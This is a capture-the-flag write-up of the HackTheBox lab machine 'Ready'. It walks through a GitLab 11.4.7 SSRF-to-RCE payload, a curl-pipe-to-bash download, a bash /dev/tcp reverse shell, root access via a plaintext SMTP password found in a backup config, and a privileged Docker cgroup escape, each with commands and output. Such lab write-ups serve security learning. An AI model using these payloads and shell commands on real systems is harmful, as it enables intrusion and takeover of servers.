HTB: Ready

Ready card

This is a writeup about a retired HacktheBox machine: Ready published on December 12 2020 by bertolis This box is classified as a medium machine. This box implies an outdated gitlab server, a clear text password in a backup file and a docker container.



We start with an nmap scan. Only port 22 (SSH) and port 5080 (HTTP) are open.

# Nmap 7.91 scan initiated Sun Dec 13 03:40:16 2020 as: nmap -p- -sSV -oN nmap
Nmap scan report for
Host is up (0.014s latency).
Not shown: 65533 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Dec 13 03:40:48 2020 -- 1 IP address (1 host up) scanned in 31.28 seconds


The HTTP service is once again a gitlab (my latest rooted box is laboratory) server. This time the version is 11.4.7. A Google research "gitlab 11.4.7 exploit" lead us to a blog article about an RCE on gitlab during a CTF

Following the blog exploitation we end up with a request looking like the following and can validate the RCE using a python server on our kalibox.

POST /projects HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1073
Connection: close
Cookie: _gitlab_session=140270c33fe803d8ab11d0f9a85c45cf; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1


We can even just manually import a git project using the following "git url": git://[0:0:0:0:0:ffff:]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Cxxxxxxxxx%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git and replacing the payload xxxxxxxxxxx with our own URL encoded.

We send the following payload curl | bash.

The content of is the following:

bash -i >& /dev/tcp/ 0>&1

We run a netcat listener to catch our reverse shell. We end up with a shell as git that can read the user flag.

kali@kali:~$ nc -l -p 4443
bash: cannot set terminal process group (485): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ id
uid=998(git) gid=998(git) groups=998(git)
git@gitlab:/$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
git@gitlab:/$ cat /home/dude/user.txt
cat /home/dude/user.txt



We enumerate a few file and find the /opt/backup/ directory which contain a few files. The file gitlab.rb contain a smtp password.

git@gitlab:/opt/backup$ grep -i pass gitlab.rb
grep -i pass gitlab.rb
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
#     password: '_the_password_of_the_bind_user'
#     password: '_the_password_of_the_bind_user'
#   '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
    gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####!   redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
#     password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
#     password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil

We need an interactive shell to be able to input a password, we use python for that purpose and end up with a shell as root.

git@gitlab:~/gitlab-rails/working$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<orking$ python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ su
Password: wW59U!ZKMbG9+*#h

root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
uid=0(root) gid=0(root) groups=0(root)

Nonetheless we cannot find any root.txt file. As you probably already guess or notice we are in a docker container.

Docker escape

We run deepce: Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) We use a python server on our kalibox to transfer the script using wget --recursive --no-parent And we run it.

[+] Privileged Mode ......... Yes
The container appears to be running in privilege mode, we should be able to access the
raw disks and mount the hosts root partition in order to gain code execution.

An other quick Google research allow us to find a medium article to learn more about docker's privilege mode with a few command line to execute a command on the system. We just replace the echo "ps aux > $host_path/output" >> /cmd line with echo "cat /root/root.txt > $host_path/output" >> /cmd and grab the root hash.

root@gitlab:/tmp/.plop# echo "cat /root/root.txt > $host_path/output" >> /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
root@gitlab:/tmp/.plop# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@gitlab:/tmp/.plop# cat /output
cat /output

Wrapping up

The box is not that hard (less than laboratory) and quit interesting as the exploitation of the gitlab's SSRF and its upgrade to an RCE was really interesting and detailed on the blog article.